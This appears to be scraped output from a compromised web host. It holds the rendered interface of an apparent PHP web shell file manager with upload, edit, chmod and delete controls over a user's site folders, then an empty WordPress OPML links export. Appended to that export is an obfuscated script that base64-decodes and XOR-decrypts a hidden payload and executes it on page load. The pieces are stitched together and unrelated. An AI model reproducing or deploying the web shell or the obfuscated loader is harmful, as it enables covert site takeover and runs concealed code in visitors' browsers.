
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.0.30</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">hoozgot</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome">home</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome%2Fhoozgot">hoozgot</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome%2Fhoozgot%2Fwww">www</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
                        <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <table class="file-table">
                <thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Modified</th><th>Actions</th></tr></thead>
                <tbody id="file-list">
                                            <tr><td colspan="5"><a href="?p=%2Fhome%2Fhoozgot" class="folder-link">📂 Parent Directory</a></td></tr>
                                                                <tr data-name="hoozgot">
                            <td><a href="?p=%2Fhome%2Fhoozgot%2Fwww%2Fhoozgot" class="folder-link">📁 hoozgot</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0705</span></td>
                            <td>2026-08-25 09:53</td>
                            <td><div class="actions">
                                <button onclick="showRename('/home/hoozgot/www/hoozgot','hoozgot')" class="action-button">Rename</button>
                                <button onclick="showChmod('/home/hoozgot/www/hoozgot','0705')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('/home/hoozgot/www/hoozgot',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="img">
                            <td><a href="?p=%2Fhome%2Fhoozgot%2Fwww%2Fimg" class="folder-link">📁 img</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-25 09:53</td>
                            <td><div class="actions">
                                <button onclick="showRename('/home/hoozgot/www/img','img')" class="action-button">Rename</button>
                                <button onclick="showChmod('/home/hoozgot/www/img','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('/home/hoozgot/www/img',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="miolobyjools">
                            <td><a href="?p=%2Fhome%2Fhoozgot%2Fwww%2Fmiolobyjools" class="folder-link">📁 miolobyjools</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0705</span></td>
                            <td>2026-09-26 15:19</td>
                            <td><div class="actions">
                                <button onclick="showRename('/home/hoozgot/www/miolobyjools','miolobyjools')" class="action-button">Rename</button>
                                <button onclick="showChmod('/home/hoozgot/www/miolobyjools','0705')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('/home/hoozgot/www/miolobyjools',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="mlwed">
                            <td><a href="?p=%2Fhome%2Fhoozgot%2Fwww%2Fmlwed" class="folder-link">📁 mlwed</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0705</span></td>
                            <td>2026-08-25 09:53</td>
                            <td><div class="actions">
                                <button onclick="showRename('/home/hoozgot/www/mlwed','mlwed')" class="action-button">Rename</button>
                                <button onclick="showChmod('/home/hoozgot/www/mlwed','0705')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('/home/hoozgot/www/mlwed',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="mountainpassions">
                            <td><a href="?p=%2Fhome%2Fhoozgot%2Fwww%2Fmountainpassions" class="folder-link">📁 mountainpassions</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0755</span></td>
                            <td>2026-08-25 09:53</td>
                            <td><div class="actions">
                                <button onclick="showRename('/home/hoozgot/www/mountainpassions','mountainpassions')" class="action-button">Rename</button>
                                <button onclick="showChmod('/home/hoozgot/www/mountainpassions','0755')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('/home/hoozgot/www/mountainpassions',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="picturefrance">
                            <td><a href="?p=%2Fhome%2Fhoozgot%2Fwww%2Fpicturefrance" class="folder-link">📁 picturefrance</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0705</span></td>
                            <td>2026-08-25 09:53</td>
                            <td><div class="actions">
                                <button onclick="showRename('/home/hoozgot/www/picturefrance','picturefrance')" class="action-button">Rename</button>
                                <button onclick="showChmod('/home/hoozgot/www/picturefrance','0705')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('/home/hoozgot/www/picturefrance',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="rogermoss">
                            <td><a href="?p=%2Fhome%2Fhoozgot%2Fwww%2Frogermoss" class="folder-link">📁 rogermoss</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0705</span></td>
                            <td>2026-08-25 09:53</td>
                            <td><div class="actions">
                                <button onclick="showRename('/home/hoozgot/www/rogermoss','rogermoss')" class="action-button">Rename</button>
                                <button onclick="showChmod('/home/hoozgot/www/rogermoss','0705')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('/home/hoozgot/www/rogermoss',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                            <tr data-name="theroadhogs">
                            <td><a href="?p=%2Fhome%2Fhoozgot%2Fwww%2Ftheroadhogs" class="folder-link">📁 theroadhogs</a></td>
                            <td class="size">-</td>
                            <td><span class="permissions">0777</span></td>
                            <td>2026-09-15 06:10</td>
                            <td><div class="actions">
                                <button onclick="showRename('/home/hoozgot/www/theroadhogs','theroadhogs')" class="action-button">Rename</button>
                                <button onclick="showChmod('/home/hoozgot/www/theroadhogs','0777')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('/home/hoozgot/www/theroadhogs',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                                                <tr data-name="robots.txt">
                            <td><a href="?p=%2Fhome%2Fhoozgot%2Fwww&edit=1&path=%2Fhome%2Fhoozgot%2Fwww%2Frobots.txt" class="file-link">📄 robots.txt</a></td>
                            <td class="size">71 B</td>
                            <td><span class="permissions">0644</span></td>
                            <td>2026-08-25 23:02</td>
                            <td><div class="actions">
                                <a href="?p=%2Fhome%2Fhoozgot%2Fwww&edit=1&path=%2Fhome%2Fhoozgot%2Fwww%2Frobots.txt" class="action-button">Edit</a>
                                <a href="?download=1&path=%2Fhome%2Fhoozgot%2Fwww%2Frobots.txt" class="action-button">Download</a>
                                <button onclick="showRename('/home/hoozgot/www/robots.txt','robots.txt')" class="action-button">Rename</button>
                                <button onclick="showChmod('/home/hoozgot/www/robots.txt','0644')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('/home/hoozgot/www/robots.txt',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                                                        </tbody>
            </table>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/home/hoozgot/www';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html>

<?xml version="1.0"?>
<opml version="1.0">
	<head>
		<title>
		Links for The Roadhogs		</title>
		<dateCreated>Sun, 27 Sep 2026 23:35:38 GMT</dateCreated>
		<!-- generator="WordPress/6.4.10" -->
	</head>
	<body>
</body>
</opml>
<script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script>